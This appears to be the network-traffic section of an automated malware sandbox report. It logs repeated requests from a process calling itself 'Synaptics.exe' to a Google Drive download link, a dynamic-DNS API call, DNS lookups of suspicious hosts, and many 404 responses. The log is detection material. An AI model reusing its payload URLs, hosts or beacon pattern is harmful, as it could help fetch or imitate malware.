Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4D2-XafB568cNXKOGRfZSaHQhpMBow733ofLeswvFsdBuyu2PuLIhZIxIs397ELw3UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:15 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-zWPyk5IA9aksQt-Esg7QWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=HZAU1e_6zD1Tbvh2IrBgA-dj-MiKcypl2SZc0T0_IXcvLUKbbfDhrJt58FvFgGgjCVwb4NUkUxuAa4cEVCBs1n6rVz4utIPxA_t6ucoTwll7r5mMtwCeaguFKVKoDqjfKS6r0YP-L2NJTK7qP8Xg_hf7LPbOhKiobzWCvQ5GX7EfE7pgZkxXI0I; expires=Fri, 04-Jul-2025 19:28:15 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7XiRH0jQxjyWKsEPbkC0OQOV9XBjzhvj-mVUtWFVPZhH1sMmp9YKgLKvaSdVpiGQ4M86qhf0kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:16 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-Xj5JQQM63EcqW5oF60LVhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS; expires=Fri, 04-Jul-2025 19:28:16 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5ajwDs_vBvBcQLq5ikoV21m-geWtUOfaIERktDr_466d2ce-Dm_1YfnwDIG5dsWEv1NJC-p1gContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:17 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-lQcUDkOm7LTdYbp0VahQ2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5mDyB6I-5S9zOPIi4NPo0ZY-4wEF2ipTGee8N8QedMcwTQ2ScxNwhmv9o7NE8WisxFContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:17 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-NzYJ0h5BL14-eFytm2NowA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw; expires=Fri, 04-Jul-2025 19:28:17 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5TOaQ01H2aiA75B16WkvuFA1sv0Udd7kR3iYANk92SA0Lx4Rc-Ham2hg7SQItWGP7alMCnkY4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:18 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-tlmBqoG6eH926Nq-YoBDbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5V_15YxdTxDEpNpK1w1nuXIfMe7afuBe9qK4Tc4R-krchyid8BkHmUu0JgL3iVh1anaFioH1kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:19 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-m5bvOx2LFobT6IiUA2bo4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ZqAKhuEaWuP74Kp2a-1tubu96Ft8qxHSZCmmgd_6jTWKR9MYUe4ydf8_ijX0upYn-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:19 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-bt0XB0GhM-hrMFgCCvRMoQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5SqrKfDMJYhBbKZKKbUK_8fUoz-c-LPeed5Lrsom4sDCssQo_GPy6NzUyvEvHqzJuyContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:20 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-frySz02RV1x3MQz_tWHvTQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4S0kLIOics7_q3_4cNJkxS6ct2jvp3PerxE1aCF3QuKxBCTuj9KPyQVxA5-8fjx_nCZRpaA8QContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:20 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lD5_a3EBbkdJQiqPB49sJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
